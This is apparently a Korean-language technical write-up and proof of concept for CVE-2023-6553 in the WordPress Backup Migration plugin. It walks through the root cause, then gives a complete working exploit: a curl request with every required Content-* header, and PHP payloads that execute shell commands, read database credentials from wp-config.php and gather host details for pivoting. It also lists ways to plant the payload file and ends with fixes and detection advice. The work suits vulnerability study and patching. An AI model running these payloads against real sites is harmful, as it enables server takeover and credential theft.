
CVE-2023-6553에 대한 PoC 익스플로잇 및 기술 문서: WordPress Backup Migration 플러그인 <=1.3.7에서 원격 코드 실행을 가능하게 하는 인증되지 않은 PHP 파일 포함 취약점.
플러그인: Backup Migration (backup-backup) ≤ 1.3.7
CVSS: 9.8 (치명적)
CWE: CWE-98 — Include/Require 문의 파일명에 대한 부적절한 제어
인증 요구 사항: 없음
영향: 원격 코드 실행
Backup Migration은 사용자가 백업 복사본을 만들 수 있도록 도와주는 상당히 인기 있는 WordPress 플러그인입니다(활성 설치 90,000개 이상). 백업 프로세스 중 이 플러그인은 backup-heart.php라는 파일을 백그라운드에서 실행합니다. 이 파일은 HTTP 헤더를 통해 구성 정보를 전달받아 어떤 디렉터리를 백업해야 하는지, 구성 파일이 어디에 있는지 등을 파악합니다.
문제는 이 파일이 클라이언트가 보낸 HTTP 헤더를 완전히 신뢰하고, 헤더 값을 파일 경로에 그대로 사용한 다음 require_once()로 해당 경로에서 파일을 로드한다는 점입니다. 공격자는 악성 PHP 코드가 포함된 디렉터리를 가리키는 Content-Dir 헤더만 보내면 됩니다. 그러면 서버가 자동으로 해당 파일을 포함(include)하여 실행합니다.
주목할 점은 backup-heart.php 파일이 인증을 요구하지 않는다는 것입니다. 이 파일은 요청 메서드가 POST인지만 확인할 뿐, nonce나 사용자 권한을 검증하지 않습니다. 인터넷상의 누구나 이 파일에 요청을 보낼 수 있습니다.
⇒ 이는 제로 클릭(zero-click) 취약점입니다.
PHP에는 실행 중인 프로그램에 다른 PHP 파일을 포함시키는 데 사용되는 include(), require(), require_once() 같은 함수가 있습니다. 이러한 함수에 전달되는 파일 경로가 검증 없이 사용자 입력에서 비롯될 경우, 공격자는 서버가 원하는 파일을 포함하도록 강제할 수 있습니다:
allow_url_include=On 설정이 필요합니다(보통 기본적으로 비활성화되어 있음).이 CVE는 LFI에 해당합니다. 공격자가 require_once()에 전달되는 경로를 제어하여, 공격자가 서버에 작성하는 데 성공한 PHP 파일을 가리키게 합니다.
많은 개발자는 HTTP 헤더가 서버와 클라이언트만 아는 "내부" 메타데이터라고 생각합니다. 실제로는 공격자가 헤더 내용을 100% 제어합니다. 헤더 이름과 값을 무엇이든 설정할 수 있습니다. 헤더를 신뢰하는 것은 폼 입력을 신뢰하는 것과 같으며, 반드시 검증해야 합니다.
define()과 PHP 상수define('NAME', $value)는 애플리케이션 전체에서 사용되는 상수를 생성합니다. 한 번 define되면 값을 변경할 수 없습니다. $value가 공격자로부터 온 것이라면, 해당 상수를 사용하는 모든 곳이 영향을 받습니다.
먼저 grep을 사용하여 플러그인 전체에서 모든 require 및 include 문을 검색했습니다:
grep -rn "require\|include" includes/

검색 결과 많은 require/include 호출이 반환되었습니다. 대부분은 banner/misc.php와 banner/views/index.php의 include_once 호출이었습니다. 이들은 하드코딩된 경로를 사용하는 관리자 UI 렌더링 코드에 속하므로 악용할 수 없습니다.
하지만 backup-heart.php의 다음 2줄이 눈에 띄었습니다:
includes/backup-heart.php:64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118: require_once BMI_INCLUDES . '/bypasser.php';
118번째 줄은 BMI_INCLUDES 상수를 사용하여 require_once를 호출합니다. 이 상수가 하드코딩되어 있다면 안전할 것입니다. 하지만 64번째 줄을 살펴보니 BMI_INCLUDES는 다른 상수인 BMI_ROOT_DIR로부터 구성됩니다. 따라서 BMI_ROOT_DIR이 어디에서 값을 할당받는지 더 추적해야 합니다.
다시 grep을 사용하여 추적했습니다:
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
결과:

Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
62번째 줄은 BMI_ROOT_DIR이 $fields['content-dir']에서 값을 가져온다는 것을 보여줍니다. 이는 고정된 값이 아닌 변수입니다. 파일을 열어 $fields가 무엇을 포함하는지 확인해야 합니다.
VS Code에서 backup-heart.php의 62번째 줄을 열었습니다:
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);
// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

$fields['content-dir']가 define()으로 직접 들어가는 것을 명확히 볼 수 있습니다. 이제 $fields 변수가 어디서 할당되는지 확인해야 합니다:
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
exit;
}
// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
$fields= getallheaders();
}
// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
$buffer= $value;
unset($fields[$key]);
$fields[strtolower($key)] = $value;
}


이 시점에서 근본 원인이 아주 명확해집니다. $fields는 getallheaders()를 통해 가져온 모든 HTTP 헤더를 담고 있으며, 이는 전적으로 클라이언트가 제어합니다. wp_verify_nonce()도, current_user_can()도, 유효한 경로 검사도 없습니다. 단지 POST 메서드만 확인하고 헤더를 그대로 읽어들입니다.
Attacker sends POST request with header Content-Dir: /path/to/attacker/
↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
↓
define('BMI_ROOT_DIR', "/path/to/attacker/") ← no validation
↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
↓
require_once "/path/to/attacker/includes/bypasser.php" ← executes PHP
↓
Attacker code runs with www-data privileges → RCE
근본 원인 요약: HTTP 헤더 → define() → require_once(), 그 사이에 검증 단계가 전혀 없습니다.
Xdebug + VS Code를 사용하여 공격 흐름을 시각적으로 확인했습니다. backup-heart.php의 62번째 줄과 118번째 줄에 중단점 2개를 설정한 다음, curl을 사용하여 익스플로잇 요청을 보냈습니다.
중단점 1 — 62번째 줄:
디버거가 define('BMI_ROOT_DIR', $fields['content-dir']) 바로 앞에서 멈췄습니다. Variables 패널에서 $fields 변수를 펼쳐 보니 클라이언트가 보낸 모든 HTTP 헤더를 포함하는 22개 요소의 배열이 표시되었습니다. 구체적으로는:
content-dir = "/tmp/bmi/" — 헤더를 통해 보낸 값 그대로이며, BMI_ROOT_DIR 상수에 직접 할당됩니다.content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — 모두 공격자가 제어합니다.content-dir는 define()에 전달되기 전에 어떤 검증이나 필터링 단계도 거치지 않습니다.

중단점 2 — 118번째 줄:
F5를 누르자 디버거가 require_once BMI_INCLUDES . '/bypasser.php'에서 멈췄습니다. 상태를 살펴보면:
$fields에 여전히 content-dir = "/tmp/bmi/"가 유지됩니다. 이는 62번째 줄과 118번째 줄 사이에 값이 변경되지 않았음을 증명합니다.{main} backup-heart.php 118:1이 표시됩니다. 파일의 맨 위에서 이 지점까지 코드가 곧바로 실행되었으며, 어떤 미들웨어나 인증 검사도 거치지 않았습니다./tmp/bmi/includes/bypasser.php 경로의 파일을 include하려고 준비합니다. 이 파일의 내용은 공격자가 제어합니다.
디버깅 결과는 3단계에서 분석한 흐름을 완벽하게 확인해 줍니다. HTTP 헤더가 getallheaders() → define() → require_once()로 이동하며, 그 사이에 검증이 전혀 없습니다.
include를 트리거하기 전에 대상 서버에 PHP 파일이 이미 존재해야 합니다. 일반적인 기법은 다음과 같습니다:
| 기법 | 개념 |
|---|---|
| 로그 오염(Log poisoning) | User-Agent에 <?php ... ?>를 포함한 요청을 보내면 코드가 액세스 로그에 기록됨 → 로그 파일을 include |
Content-Dir가 페이로드가 포함된 디렉터리를 가리키도록 요청을 보냅니다. 서버는 공격자의 파일을 자동으로 require하고 실행합니다.
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
모든 Content-* 헤더를 제공해야 합니다. backup-heart.php가 다른 define() 호출에서 이 헤더들을 사용하기 때문입니다. 헤더가 누락되면 PHP 경고가 발생하고 require_once에 도달하기 전에 실행이 중단될 수 있습니다.
curl -s -o /dev/null -w "%{http_code}" -X POST \
"http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
200을 반환합니다. 엔드포인트가 열려 있고 인증을 요구하지 않습니다.

require_once가 찾을 것으로 예상하는 디렉터리 구조를 만듭니다: {Content-Dir}includes/bypasser.php
mkdir -p /tmp/bmi/includes
cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
-H "Content-Dir: /tmp/bmi/" \
-H "Content-Abs: /var/www/html/" \
-H "Content-Content: /var/www/html/wp-content/" \
-H "Content-Configdir: /tmp/bmi/" \
-H "Content-Backups: /tmp/bmi/backups/" \
-H "Content-Safelimit: 1" \
-H "Content-Browser: true" \
-H "Content-Identy: 1" \
-H "Content-Manifest: 1" \
-H "Content-Rev: 1" \
-H "Content-Name: test" \
-H "Content-Start: 1" \
-H "Content-Filessofar: 0" \
-H "Content-Total: 1" \
-H "Content-Bmitmp: /tmp/" \
-H "Content-It: 1" \
-H "Content-Dbit: 1" \
-H "Content-Dblast: 1" \
-H "Content-Url: http://localhost:8181/"
출력 결과:

RCE 성공 — 서버가 id 명령을 실행하고 출력을 반환합니다.
RCE를 확인한 후, 공격자가 서버의 민감한 정보를 읽을 수 있음을 입증하기 위해 페이로드를 변경했습니다. wp-config.php를 읽도록 페이로드 파일 내용을 변경합니다:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'
동일한 curl 익스플로잇 요청을 다시 보내면 출력에서 데이터베이스 연결 정보를 반환합니다:
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
공격자는 www-data가 접근 권한을 가진 모든 파일을 읽을 수 있습니다. wp-config.php, /etc/passwd, 다른 플러그인의 소스 코드 등이 이에 해당하며, 공격 표면이 확장됩니다.

공격자가 서버 시스템 정보를 수집할 수 있음을 입증하기 위해 페이로드를 추가로 수정합니다. 이는 권한 상승 또는 수평 이동에 도움이 됩니다:
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'
curl 익스플로잇 전송 → 출력:
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3
RCEEND

이 출력을 통해 공격자는 다음을 발견합니다:
172.18.0.3 — 서버가 Docker 네트워크 안에 있음을 확인하며, 다른 컨테이너(데이터베이스, 캐시 등)로 피벗할 수 있게 해줌backup-heart.php가 디스크에 남아 있기 때문에 URL로 직접 접근할 수 있기 때문입니다.HTTP 헤더로 파일 경로를 결정하지 마십시오. __DIR__에서 파생된 상대 경로를 사용하십시오:
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);
// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
권한 검사를 추가하십시오. 이 엔드포인트를 호출할 수 있는 사람은 WordPress 관리자뿐이어야 합니다:
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
die('Unauthorized');
}
backup-heart.php를 대상으로 하는 의심스러운 요청이 있는지 액세스 로그를 검사하십시오./wp-content/plugins/*/includes/*.php로 가는 직접 POST 요청을 차단하는 WAF 규칙을 구현하십시오.| 속성 |
|---|
| 값 |
|---|
| CVE ID | CVE-2023-6553 |
| CVSS 점수 | 9.8 (치명적) |
| 플러그인 | backup-backup (Backup Migration) ≤ 1.3.7 |
| 인증 | 필요 없음 |
| 사용자 상호 작용 | 없음 (제로 클릭) |
| 수정 버전 | 1.3.8 |
| PHP 세션 |
/tmp/sess_xxx에 위치한 세션 파일에 PHP 코드를 기록 |
| 업로드 체인 | WordPress 미디어/아바타 업로드 기능을 활용하여 파일 업로드 |
| 플러그인 오류 로그 | 플러그인이 자체 오류 로그를 기록 — PHP 코드가 포함된 오류를 발생시키면 코드가 로그 파일에 기록됨 |
| CVSS 메트릭 | 값 | 이유 |
|---|
| 공격 벡터(Attack Vector) | 네트워크(Network) | HTTP를 통해 |
| 공격 복잡성(Attack Complexity) | 낮음(Low) | POST 요청 1개만 필요, 타이밍이나 특별한 조건 불필요 |
| 필요한 권한(Privileges Required) | 없음(None) | 엔드포인트가 인증을 요구하지 않음 |
| 사용자 상호 작용(User Interaction) | 없음(None) | 공격자 주도, 피해자의 상호 작용 불필요 |
| 기밀성(Confidentiality) | 높음(High) | wp-config.php, /etc/passwd, 소스 코드 등 모든 파일을 읽을 수 있음 |
| 무결성(Integrity) | 높음(High) | 임의 파일 쓰기, 웹쉘 설치, 데이터베이스 수정 |
| 가용성(Availability) | 높음(High) | 파일 삭제, 프로세스 종료, 서버 전체 장악 |